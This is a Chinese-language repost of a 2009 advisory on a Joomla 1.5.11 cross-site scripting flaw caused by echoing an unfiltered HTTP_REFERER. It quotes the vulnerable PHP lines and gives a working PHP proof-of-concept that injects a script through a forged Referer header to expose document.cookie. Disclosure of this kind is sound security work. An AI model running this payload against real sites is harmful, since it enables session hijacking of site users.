Joomla!是一款开放源码的内容管理系统（CMS）。

Joomla!没有正确地过滤用户在HTTP请求中所提交的HTTP_REFERER变量，远程攻击者可以通过提交恶意请求注入JavaScript或DHTML代码并在用户浏览器会话中执行。以下是有漏洞的代码段：

components/com_content/views/article/tmpl/form.php文件225行

221 <input type="hidden" name="option" value="com_content" />
222 <input type="hidden" name="id" value="<?php echo
$this->article->id; ?>" />
223 <input type="hidden" name="version" value="<?php echo
$this->article->version; ?>" />
224 <input type="hidden" name="created_by" value="<?php echo
$this->article->created_by; ?>" />
225 <input type="hidden" name="referer" value="<?php echo
@$_SERVER['HTTP_REFERER']; ?>" />
226 <?php echo JHTML::_( 'form.token' ); ?>
227 <input type="hidden" name="task" value="" />
228 </form>

代码的其他一些部分也可能受影响：

components/com_user/controller.php文件86行

$return = @$_SERVER['HTTP_REFERER'];

plugins/system/legacy/html.php文件246行

echo '<a href="'. $_SERVER['HTTP_REFERER'] .'"><span class="small">'. JText::_( 'BACK' ) .'</span></a>';

templates/beez/html/com_content/article/form.php文件186行

<input type="hidden" name="referer" value="<?php echo @$_SERVER['HTTP_REFERER']; ?>" />

<*来源：Juan Galiana Lara （jgaliana@isecauditors.com ）
 
  链接：http://marc.info/?l=bugtraq&m=124655389716111&w=2
*>

测试方法：

--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<?php

/* PoC: XSS Joomla 1.5.11
   Juan Galiana Lara
   Internet Security Auditors
   Jun 2009
*/

/* config */
$site='localhost';
$path='/joomla-1.5.11';
$cookname='d85558a8cf943386aaa374896bfd3d99';
$cookvalue='4ab56fdd83bcad86289726aead602699';

class cURL {
  var $headers;
  var $user_agent;
  var $compression;
  var $cookie_file;
  var $proxy;
  /* evil script */
  var $xss='alert("PWN PWN PWN: " + document.cookie);';

  function
cURL($cookies=TRUE,$cookie='cookies.txt',$compression='gzip',$proxy='') {
    $this->headers[] = 'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
    $this->headers[] = 'Connection: Keep-Alive';
    $this->headers[] = 'Content-type:
application/x-www-form-urlencoded;charset=UTF-8';
    $this->headers[] = 'Referer: "><script>' . $this->xss
.'</script><span a="';
    $this->user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT
5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)';
    $this->compression=$compression;
    $this->proxy=$proxy;
    $this->cookies=$cookies;
    if ($this->cookies == TRUE) $this->cookie($cookie);
  }

  function cookie($cookie_file) {
    if (file_exists($cookie_file)) {
      $this->cookie_file=$cookie_file;
    } else {
      fopen($cookie_file,'w') or $this->error('The cookie file could
not be opened. Check permissions');
      $this->cookie_file=$cookie_file;
      fclose($this->cookie_file);
    }
  }

  function get($url) {
    $process = curl_init($url);
    curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
    curl_setopt($process, CURLOPT_HEADER, 0);
    curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
    if ($this->cookies == TRUE) curl_setopt($process,
CURLOPT_COOKIEFILE, $this->cookie_file);
    if ($this->cookies == TRUE) curl_setopt($process,
CURLOPT_COOKIEJAR, $this->cookie_file);
    curl_setopt($process,CURLOPT_ENCODING , $this->compression);
    curl_setopt($process, CURLOPT_TIMEOUT, 30);
    if ($this->proxy) curl_setopt($cUrl, CURLOPT_PROXY,
'proxy_ip:proxy_port');
    curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
    $return = curl_exec($process);
    curl_close($process);
    return $return;
  }

  function error($error) {
    echo $error;
    die;
  }
}

  /* set cookie */
  $f=fopen("cookies.txt","w");
  fwrite($f,"localhost\tFALSE\t/\tFALSE\t0\t$cookname\t$cookvalue\n");
  fclose($f);

  /* do request */
  $cc = new cURL();
  $c=$cc->get('http://' . $site . $path .
'/index.php?option=com_content&view=article&layout=form');

  /* let's execute some javascript.. }:-)*/
  echo $c;
?>

本文来自CSDN博客，转载请标明出处：http://blog.csdn.net/cnbird2008/archive/2009/07/08/4329842.aspx